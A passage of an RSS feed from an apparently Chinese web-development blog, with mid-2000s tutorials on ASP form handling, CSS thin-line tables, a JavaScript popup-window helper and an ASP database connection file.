比如客户端向服务器提出的请求就是通过request对象来传递的<BR> 列如&nbsp; ：你在申请邮箱的所填写的个人信息就是通过该对象来将<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 你所填写的信息传递给服务器的<BR> 比如：这是一段表单的代码，这是提供给客户填写信息的，填写完了按<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; “提交”传递给request.asp文件处理后再存入服务器数据库<BR> &nbsp; &nbsp; &nbsp; &nbsp; &lt;form&nbsp; name=&#34;form1&#34;&nbsp; method=&#34;post&#34;&nbsp; action=&#34;request.asp&#34;&gt;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;p&gt;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;input&nbsp; type=&#34;text&#34;&nbsp; name=&#34;user&#34;&gt;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/p&gt;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;p&gt;&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;input&nbsp; type=&#34;text&#34;&nbsp; name=&#34;pass&#34;&gt;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/p&gt;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;p&gt;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;input&nbsp; type=&#34;submit&#34;&nbsp; name=&#34;Submit&#34;&nbsp; value=&#34;提交&#34;&gt;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &lt;/p&gt;<BR> &lt;/form&gt;&nbsp; <BR> 那么request.asp该如何将其中的信息读入，在写入数据库，在这里就要用到<BR> request对象了，下面我们就来分析request.asp的写法<BR> &lt;%<BR> &nbsp; dim&nbsp; name,password&nbsp; &nbsp; &nbsp; &nbsp; (定义user和password两个变量)<BR> &nbsp; name=request.form(“user”)&nbsp; &nbsp; (将表单中的user信息传给变量name)<BR> &nbsp; password=request.form(“pass”)&nbsp; (将表单中的pass信息传给变量password)<BR> %&gt;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> 通过以上的几句代码我们就将表单中的数据读进来了，接下来我们要做的就是将<BR> 信息写入数据库了，写入数据库的方法上面都介绍了，这里就不一一复述了<BR> ]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=112</link>
      <title><![CDATA[细线表格～]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2005-3-30 16:57:52</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=112</guid>
      <comments>
              /Blog/Blog.aspx?Id=112#commentbox
            </comments>
      <description><![CDATA[style=&#34;BORDER-COLLAPSE:&nbsp; collapse&#34;</P><P> 把上句放在&lt;Table&gt;里就行了～还就是表格要是1的边框：）</P><P> 其实做细线表格不一定用这种，比如让间距为1，然后用背景色填充，最后就改一下表格里的背景色，但是问题来了，如果这个表格里的数据是成千上万的乍办？我今天就碰到了这种情况，都快疯了，用上面的那种办法就能很好的解决问题～～</P><P> ]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=108</link>
      <title><![CDATA[弹出固定大小的新窗口：）]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2005-3-29 13:47:32</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=108</guid>
      <comments>
              /Blog/Blog.aspx?Id=108#commentbox
            </comments>
      <description><![CDATA[&lt;Script&nbsp; Language=&#34;Javascript&#34;&gt;<BR> //打开窗口<BR> function&nbsp; openScript(url,&nbsp; width,&nbsp; height){<BR> &nbsp; &nbsp; &nbsp; &nbsp; var&nbsp; Win&nbsp; =&nbsp; window.open(url,&#34;openScript&#34;,&#39;width=&#39;&nbsp; +&nbsp; width&nbsp; +&nbsp; &#39;,height=&#39;&nbsp; +&nbsp; height&nbsp; +&nbsp; &#39;,resizable=1,scrollbars=yes,menubar=no,status=no&#39;&nbsp; );<BR> }<BR> &lt;/Script&gt;</P><P> 以下是调用方式：</P><P> &lt;a&nbsp; href=&#34;JavaScript:openScript(&#39;Openpage.htm&#39;,500,600)&#34;&gt;发短信&lt;/a&gt;<BR> &lt;Script&nbsp; Language=&#34;Javascript&#34;&gt;<BR> //打开窗口<BR> function&nbsp; openScript(url,&nbsp; width,&nbsp; height){<BR> &nbsp; &nbsp; &nbsp; &nbsp; var&nbsp; Win&nbsp; =&nbsp; window.open(url,&#34;openScript&#34;,&#39;width=&#39;&nbsp; +&nbsp; width&nbsp; +&nbsp; &#39;,height=&#39;&nbsp; +&nbsp; height&nbsp; +&nbsp; &#39;,resizable=1,scrollbars=yes,menubar=no,status=no&#39;&nbsp; );<BR> }<BR> &lt;/Script&gt;</P><P> 以下是调用方式：</P><P> &lt;a&nbsp; href=&#34;JavaScript:openScript(&#39;Openpage.htm&#39;,500,600)&#34;&gt;发短信&lt;/a&gt;</P><P> 这样做的好处是OpenScrit&nbsp; 可以写在一个单独的文件里，而所以的弹出方式都可以通过传递的参数来固定窗口。</P><P> <BR> 相关解说～～～～<BR> &lt;SCRIPT&nbsp; LANGUAGE=&#34;javascript&#34;&gt;&nbsp; <BR> 　　&lt;!--&nbsp; <BR> 　　window.open&nbsp; (&#39;page.html&#39;,&nbsp; &#39;newwindow&#39;,&nbsp; &#39;height=100,&nbsp; width=400,&nbsp; top=0,&nbsp; left=0,&nbsp; toolbar=no,&nbsp; menubar=no,&nbsp; scrollbars=no,&nbsp; resizable=no,location=no,&nbsp; status=no&#39;)&nbsp; 　　--&gt;&nbsp; <BR> 　　&lt;/SCRIPT&gt;&nbsp; <BR> &nbsp; &nbsp; <BR> 　　参数解释：&nbsp; <BR> 　　&nbsp; <BR> 　　&lt;SCRIPT&nbsp; LANGUAGE=&#34;javascript&#34;&gt;&nbsp; js脚本开始；&nbsp; <BR> 　　window.open&nbsp; 弹出新窗口的命令；&nbsp; <BR> 　　&#39;page.html&#39;&nbsp; 弹出窗口的文件名；&nbsp; <BR> 　　<font color="Red">&#39;newwindow&#39;&nbsp; 弹出窗口的名字（不是文件名），非必须，可用空&#39;&#39;代替；&nbsp; </font>　　<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; height=100&nbsp; 窗口高度；&nbsp; <BR> 　　width=400&nbsp; 窗口宽度；&nbsp; <BR> 　　top=0&nbsp; 窗口距离屏幕上方的象素值；&nbsp; <BR> 　　left=0&nbsp; 窗口距离屏幕左侧的象素值；&nbsp; <BR> 　　toolbar=no&nbsp; 是否显示工具栏，yes为显示；&nbsp; <BR> 　　menubar，scrollbars&nbsp; 表示菜单栏和滚动栏。&nbsp; <BR> 　　resizable=no&nbsp; 是否允许改变窗口大小，yes为允许；&nbsp; <BR> 　　location=no&nbsp; 是否显示地址栏，yes为允许；&nbsp; <BR> 　　status=no&nbsp; 是否显示状态栏内的信息（通常是文件已经打开），yes为允许；&nbsp; <BR> 　　&lt;/SCRIPT&gt;&nbsp; js脚本结束&nbsp; </P><P> ]]></description>
    </item>
    <item>
      <link>http://max.cszi.com/Blog/Blog.aspx?Id=98</link>
      <title><![CDATA[结合动网数据库连接我所修改的连接方案]]></title>
      <author>一线风</author>
      <category>程序开发</category>
      <pubDate>2005-3-24 8:06:56</pubDate>
      <guid>http://max.cszi.com/Blog/Blog.aspx?Id=98</guid>
      <comments>
              /Blog/Blog.aspx?Id=98#commentbox
            </comments>
      <description><![CDATA[<font color="#FFA500">2006-3-9&nbsp; 重新修改Ver:0.31.20060304b</font></P><P> Conn.asp</P><P> <img src='Images\emot\em49.gif' border='0' /><BR> [code]<BR> &lt;%@&nbsp; LANGUAGE&nbsp; =&nbsp; VBScript%&gt;<BR> &lt;%<BR> &#39;---------------------------------&nbsp; Author&nbsp; information&nbsp; -------------------------------------------------------------<BR> &#39;File&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CONN.asp<BR> &#39;Version&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0.31.20060304b<font color="#FFA500">2006-3-9&nbsp; 重新修改Ver:0.31.20060304b</font></P><P> Conn.asp</P><P> <img src='Images\emot\em49.gif' border='0' /><BR> <div class='code'><BR> &lt;%@&nbsp; LANGUAGE&nbsp; =&nbsp; VBScript%&gt;<BR> &lt;%<BR> &#39;---------------------------------&nbsp; Author&nbsp; information&nbsp; -------------------------------------------------------------<BR> &#39;File&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CONN.asp<BR> &#39;Version&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0.31.20060304b<BR> &#39;Revision&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 2006-3-4&nbsp; &nbsp; &nbsp; &nbsp; 19:15:00<BR> &#39;Author&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Atwind(Atwind.Max&nbsp; &nbsp; or&nbsp; &nbsp; &nbsp; 一线风)<BR> &#39;Content&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; :&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Email:Itwind@163.com&nbsp; &nbsp; &nbsp; BLog<a target=_blank href="http://max.69sea.com&nbsp;">http://max.69sea.com&nbsp;</a> &nbsp; &nbsp; QQ:478779122&nbsp; &nbsp; &nbsp; &nbsp; <BR> &#39;-----------------------------------------------------------------------------------------------------------------</P><P> Option&nbsp; Explicit<BR> Response.Buffer&nbsp; =&nbsp; True<BR> Server.ScriptTimeOut&nbsp; =&nbsp; 90<BR> &#39;Session.CodePage=65001&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;UTF-8<BR> Session.CodePage=936&nbsp; &nbsp; &nbsp; &nbsp; &#39;&#39;SimpleChinese&nbsp; &nbsp; <BR> Dim&nbsp; Startime<BR> Dim&nbsp; Conn<BR> Dim&nbsp; MyACpath<BR> &#39;--------------------------------&nbsp; 0&nbsp; is&nbsp; the&nbsp; SQL&nbsp; 1&nbsp; is&nbsp; &nbsp; AC&nbsp; ------------------------------------------------------------<BR> Const&nbsp; &nbsp; &nbsp; IsAcData&nbsp; =&nbsp; 1<BR> Const&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ACDB&nbsp; =&nbsp; &#34;AC.mdb&#34;<BR> Const&nbsp; &nbsp; &nbsp; Adminpath=&#34;Root&#34;<BR> &#39;--------------------------------&nbsp; SQL&nbsp; connection&nbsp; setting&nbsp; ---------------------------------------------------------<BR> Const&nbsp; &nbsp; &nbsp; SqlDatabaseName&nbsp; =&nbsp; &#34;DatabaseName&#34;<BR> Const&nbsp; &nbsp; &nbsp; SqlUsername&nbsp; =&nbsp; &#34;sa&#34;<BR> Const&nbsp; &nbsp; &nbsp; SqlPassword&nbsp; =&nbsp; &#34;&#34;<BR> Const&nbsp; &nbsp; &nbsp; SqlLocalName&nbsp; =&nbsp; &#34;(local)&#34;<BR> &#39;---------------------------------&nbsp; the&nbsp; program&nbsp; runs&nbsp; stats&nbsp; &nbsp; --------------------------------------------------------<BR> Startime&nbsp; =&nbsp; Timer()&nbsp; &nbsp; <BR> MyACpath=&#34;Data/&#34;<BR> &#39;---------------------------------&nbsp; OpenDataConn()&nbsp; &amp;&nbsp; CloseDataCOnn&nbsp; ----------------------------------------------<BR> Sub&nbsp; OpenDataConn()<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Dim&nbsp; ConnStr<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; IsAcData&nbsp; =&nbsp; 0&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ConnStr&nbsp; =&nbsp; &#34;Provider&nbsp; =&nbsp; Sqloledb;&nbsp; User&nbsp; ID&nbsp; =&nbsp; &#34;&nbsp; &amp;&nbsp; SqlUsername&nbsp; &amp;&nbsp; &#34;;&nbsp; Password&nbsp; =&nbsp; &#34;&nbsp; &amp;&nbsp; SqlPassword&nbsp; &amp;&nbsp; &#34;;&nbsp; Initial&nbsp; Catalog&nbsp; =&nbsp; &#34;&nbsp; &amp;&nbsp; SqlDatabaseName&nbsp; &amp;&nbsp; &#34;;&nbsp; Data&nbsp; Source&nbsp; =&nbsp; &#34;&nbsp; &amp;&nbsp; SqlLocalName&nbsp; &amp;&nbsp; &#34;;&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; Else<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ConnStr&nbsp; =&nbsp; &#34;Provider&nbsp; =&nbsp; Microsoft.Jet.OLEDB.4.0;Data&nbsp; Source&nbsp; =&nbsp; &#34;&nbsp; &amp;&nbsp; Server.MapPath(MyACpath&amp;ACDB)<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; On&nbsp; Error&nbsp; Resume&nbsp; Next<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; conn&nbsp; =&nbsp; Server.CreateObject(&#34;ADODB.Connection&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conn.open&nbsp; ConnStr<BR> &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Err&nbsp; Then<BR> &nbsp; &nbsp; &nbsp; &nbsp; Response.write&nbsp; Err.Description:Response.end&nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; Err.Clear<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; Conn&nbsp; =&nbsp; Nothing<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Response.Write&nbsp; &#34;Connection&nbsp; to&nbsp; database&nbsp; has&nbsp; been&nbsp; errors&nbsp; ,please&nbsp; check&nbsp; it!&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Response.End<BR> &nbsp; &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> End&nbsp; Sub</P><P> Sub&nbsp; CloseDataConn()<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; If&nbsp; Isobject(&#34;Conn&#34;)&nbsp; then<BR> &nbsp; &nbsp; &nbsp; Conn.close<BR> &nbsp; &nbsp; &nbsp; set&nbsp; Conn=Nothing<BR> &nbsp; &nbsp; &nbsp; End&nbsp; If<BR> End&nbsp; Sub<BR> &#39;---------------------------------------------------------------------------------------------------------------<BR> &#39;&#39;call&nbsp; opendataconn<BR> %&gt;<BR> </div></P><P> <BR> List.asp</P><P> <BR> <div class='code'>&lt;!--#include&nbsp; file=&#34;Conn.asp&#34;--&gt;<BR> &lt;%<BR> OpenDataConn()<BR> dim&nbsp; SQLStr,Rs<BR> SQLStr=&#34;select&nbsp; *&nbsp; from&nbsp; News&nbsp; Order&nbsp; by&nbsp; id&nbsp; desc&#34;<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Set&nbsp; Rs=Server.CreateObject(&#34;adodb.recordset&#34;)<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Rs.Open&nbsp; SQLStr,conn,1,1<BR> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp; Rs.eof&nbsp; and&nbsp; Rs.bof&nbsp; &nbsp; then&nbsp; &nbsp; response.write&nbsp; (&#34;没有数据呀！&#34;)</P><P> CloseDataConn()</P><P> %&gt;<BR> </div></P><P> <BR> 使用Getrows可以提高效率，先写这儿，回头找找资料～</P><P> <img src='Images\emot\em49.gif' border='0' />]]></description>
    </item>
  </channel>
</rss>